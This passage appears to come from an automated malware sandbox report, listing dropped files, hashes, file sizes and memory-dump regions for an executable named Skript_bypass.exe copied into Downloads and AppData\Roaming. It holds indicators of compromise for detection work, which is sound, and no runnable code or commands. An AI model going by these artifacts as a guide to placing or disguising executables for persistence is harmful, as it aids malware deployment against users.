                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                                                          Filesize

                                                          944B

                                                          MD5

                                                          6bd369f7c74a28194c991ed1404da30f

                                                          SHA1

                                                          0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

                                                          SHA256

                                                          878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

                                                          SHA512

                                                          8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Skript_bypass.exe.log
                                                          Filesize

                                                          621B

                                                          MD5

                                                          84ea4e5aedfded07182bbc69fa81eaff

                                                          SHA1

                                                          d82d998cb3d655c49dba4fb923a3fc360a285ea2

                                                          SHA256

                                                          299408135f6f265d6db7d42d5454a9be41bea2f72d8bb438d835de7c88c77653

                                                          SHA512

                                                          7f654f76cb24399a8e8d35c2f5571b1560b7cbc38656ff687c88bdae4dff49437cc218653441380247b6de484be6557b62b138bb725f8a94b4e776175c979a60

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Roaming\Skript_bypass.exe
                                                          Filesize

                                                          476KB

                                                          MD5

                                                          b29ce7f547d796ed020f206b87e54b5a

                                                          SHA1

                                                          93be4fe0cd16212a8dba09a197b8f9829f6788ca

                                                          SHA256

                                                          be526c773e472dfe1285db00b439e3e921d713632b0a9a3cb9e6258d0ad96605

                                                          SHA512

                                                          e08bbdea013329b785a1df951d1267b58aae7800a4471c747b966083157cd6d44f0afa6340583df71ecd45677326665cf4a85850ff0c6ff6257ad27fd2e6bd50

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Roaming\Skript_bypass.exe
                                                          Filesize

                                                          476KB

                                                          MD5

                                                          b29ce7f547d796ed020f206b87e54b5a

                                                          SHA1

                                                          93be4fe0cd16212a8dba09a197b8f9829f6788ca

                                                          SHA256

                                                          be526c773e472dfe1285db00b439e3e921d713632b0a9a3cb9e6258d0ad96605

                                                          SHA512

                                                          e08bbdea013329b785a1df951d1267b58aae7800a4471c747b966083157cd6d44f0afa6340583df71ecd45677326665cf4a85850ff0c6ff6257ad27fd2e6bd50

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Roaming\Skript_bypass.exe
                                                          Filesize

                                                          476KB

                                                          MD5

                                                          b29ce7f547d796ed020f206b87e54b5a

                                                          SHA1

                                                          93be4fe0cd16212a8dba09a197b8f9829f6788ca

                                                          SHA256

                                                          be526c773e472dfe1285db00b439e3e921d713632b0a9a3cb9e6258d0ad96605

                                                          SHA512

                                                          e08bbdea013329b785a1df951d1267b58aae7800a4471c747b966083157cd6d44f0afa6340583df71ecd45677326665cf4a85850ff0c6ff6257ad27fd2e6bd50

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Roaming\Skript_bypass.exe
                                                          Filesize

                                                          476KB

                                                          MD5

                                                          b29ce7f547d796ed020f206b87e54b5a

                                                          SHA1

                                                          93be4fe0cd16212a8dba09a197b8f9829f6788ca

                                                          SHA256

                                                          be526c773e472dfe1285db00b439e3e921d713632b0a9a3cb9e6258d0ad96605

                                                          SHA512

                                                          e08bbdea013329b785a1df951d1267b58aae7800a4471c747b966083157cd6d44f0afa6340583df71ecd45677326665cf4a85850ff0c6ff6257ad27fd2e6bd50

                                                          Download Submit
                                                        • C:\Users\Admin\Downloads\Skript_bypass.exe
                                                          Filesize

                                                          476KB

                                                          MD5

                                                          b29ce7f547d796ed020f206b87e54b5a

                                                          SHA1

                                                          93be4fe0cd16212a8dba09a197b8f9829f6788ca

                                                          SHA256

                                                          be526c773e472dfe1285db00b439e3e921d713632b0a9a3cb9e6258d0ad96605

                                                          SHA512

                                                          e08bbdea013329b785a1df951d1267b58aae7800a4471c747b966083157cd6d44f0afa6340583df71ecd45677326665cf4a85850ff0c6ff6257ad27fd2e6bd50

                                                          Download Submit
                                                        • C:\Users\Admin\Downloads\Skript_bypass.exe
                                                          Filesize

                                                          476KB

                                                          MD5

                                                          b29ce7f547d796ed020f206b87e54b5a

                                                          SHA1

                                                          93be4fe0cd16212a8dba09a197b8f9829f6788ca

                                                          SHA256

                                                          be526c773e472dfe1285db00b439e3e921d713632b0a9a3cb9e6258d0ad96605

                                                          SHA512

                                                          e08bbdea013329b785a1df951d1267b58aae7800a4471c747b966083157cd6d44f0afa6340583df71ecd45677326665cf4a85850ff0c6ff6257ad27fd2e6bd50

                                                          Download Submit
                                                        • \??\c:\users\admin\downloads\skript_bypass.exe
                                                          Filesize

                                                          476KB

                                                          MD5

                                                          b29ce7f547d796ed020f206b87e54b5a

                                                          SHA1

                                                          93be4fe0cd16212a8dba09a197b8f9829f6788ca

                                                          SHA256

                                                          be526c773e472dfe1285db00b439e3e921d713632b0a9a3cb9e6258d0ad96605

                                                          SHA512

                                                          e08bbdea013329b785a1df951d1267b58aae7800a4471c747b966083157cd6d44f0afa6340583df71ecd45677326665cf4a85850ff0c6ff6257ad27fd2e6bd50

                                                          Download Submit
                                                        • \??\pipe\crashpad_1072_TRLXRKZBZMNUHZNM
                                                          MD5

                                                          d41d8cd98f00b204e9800998ecf8427e

                                                          SHA1

                                                          da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                          SHA256

                                                          e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                          SHA512

                                                          cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                          Download Submit
                                                        • memory/548-261-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/548-260-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/548-266-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/548-264-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/548-262-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1380-210-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1380-211-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1380-213-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1380-214-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1380-216-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1380-209-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/1728-288-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1728-290-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1728-284-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/1804-196-0x00007FFE31C30000-0x00007FFE326F1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                          Download
                                                        • memory/1804-192-0x00007FFE31C30000-0x00007FFE326F1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                          Download
                                                        • memory/1804-193-0x00007FFE31C30000-0x00007FFE326F1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                          Download
                                                        • memory/1920-191-0x00007FFE31C30000-0x00007FFE326F1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                          Download
                                                        • memory/1920-249-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1920-247-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1920-183-0x00007FFE31C30000-0x00007FFE326F1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                          Download
                                                        • memory/1920-245-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1920-244-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/1920-243-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/1920-182-0x00000000001F0000-0x000000000026A000-memory.dmp
                                                          Filesize

                                                          488KB

                                                          Download
                                                        • memory/1920-184-0x00007FFE31C30000-0x00007FFE326F1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                          Download
                                                        • memory/2180-186-0x00007FFE31C30000-0x00007FFE326F1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                          Download
                                                        • memory/2180-187-0x00007FFE31C30000-0x00007FFE326F1000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                          Download
                                                        • memory/2312-251-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/2312-252-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/2312-253-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/2312-255-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/2312-257-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/2416-235-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/2416-241-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/2416-239-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/2416-237-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/2416-236-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/3960-268-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/3960-269-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/3960-272-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/3960-274-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4312-229-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4312-228-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4312-231-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4312-233-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4312-227-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/4428-167-0x000001889C048000-0x000001889C04B000-memory.dmp
                                                          Filesize

                                                          12KB

                                                          Download
                                                        • memory/4428-162-0x000001889A790000-0x000001889A7B0000-memory.dmp
                                                          Filesize

                                                          128KB

                                                          Download
                                                        • memory/4428-155-0x000001889C00A000-0x000001889C00D000-memory.dmp
                                                          Filesize

                                                          12KB

                                                          Download
                                                        • memory/4428-164-0x000001889A7D0000-0x000001889A7F0000-memory.dmp
                                                          Filesize

                                                          128KB

                                                          Download
                                                        • memory/4428-166-0x000001889C048000-0x000001889C04B000-memory.dmp
                                                          Filesize

                                                          12KB

                                                          Download
                                                        • memory/4428-176-0x000001889C051000-0x000001889C054000-memory.dmp
                                                          Filesize

                                                          12KB

                                                          Download
                                                        • memory/4428-178-0x000001889C051000-0x000001889C054000-memory.dmp
                                                          Filesize

                                                          12KB

                                                          Download
                                                        • memory/4428-177-0x000001889C051000-0x000001889C054000-memory.dmp
                                                          Filesize

                                                          12KB

                                                          Download
                                                        • memory/4428-171-0x000001889C04D000-0x000001889C051000-memory.dmp
                                                          Filesize

                                                          16KB

                                                          Download
                                                        • memory/4428-173-0x000001889C04D000-0x000001889C051000-memory.dmp
                                                          Filesize

                                                          16KB

                                                          Download
                                                        • memory/4428-172-0x000001889C04D000-0x000001889C051000-memory.dmp
                                                          Filesize

                                                          16KB

                                                          Download
                                                        • memory/4428-154-0x000001889C00A000-0x000001889C00D000-memory.dmp
                                                          Filesize

                                                          12KB

                                                          Download
                                                        • memory/4428-142-0x000001889A6F0000-0x000001889A710000-memory.dmp
                                                          Filesize

                                                          128KB

                                                          Download
                                                        • memory/4428-153-0x000001889C00A000-0x000001889C00D000-memory.dmp
                                                          Filesize

                                                          12KB

                                                          Download
                                                        • memory/4428-157-0x00000188AEA80000-0x00000188AEA88000-memory.dmp
                                                          Filesize

                                                          32KB

                                                          Download
                                                        • memory/4428-170-0x000001889C04D000-0x000001889C051000-memory.dmp
                                                          Filesize

                                                          16KB

                                                          Download
                                                        • memory/4428-145-0x000001889A160000-0x000001889A180000-memory.dmp
                                                          Filesize

                                                          128KB

                                                          Download
                                                        • memory/4428-169-0x000001889C04D000-0x000001889C051000-memory.dmp
                                                          Filesize

                                                          16KB

                                                          Download
                                                        • memory/4428-147-0x0000018899DB0000-0x0000018899DD0000-memory.dmp
                                                          Filesize

                                                          128KB

                                                          Download
                                                        • memory/4428-165-0x000001889C048000-0x000001889C04B000-memory.dmp
                                                          Filesize

                                                          12KB

                                                          Download
                                                        • memory/4428-152-0x000001889C00A000-0x000001889C00D000-memory.dmp
                                                          Filesize

                                                          12KB

                                                          Download
                                                        • memory/4464-292-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/4464-296-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4464-298-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4512-300-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/4512-304-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4628-276-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/4628-282-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4628-280-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4648-222-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4648-219-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4648-225-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4648-223-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4648-220-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4648-218-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/4988-203-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4988-202-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4988-200-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4988-201-0x0000000140343234-mapping.dmp
                                                          Download
                                                        • memory/4988-206-0x00000212702B0000-0x00000212702F0000-memory.dmp
                                                          Filesize

                                                          256KB

                                                          Download
                                                        • memory/4988-207-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download
                                                        • memory/4988-204-0x0000021270250000-0x0000021270270000-memory.dmp
                                                          Filesize

                                                          128KB

                                                          Download
                                                        • memory/4988-205-0x0000000140000000-0x00000001407C9000-memory.dmp
                                                          Filesize

                                                          7.8MB

                                                          Download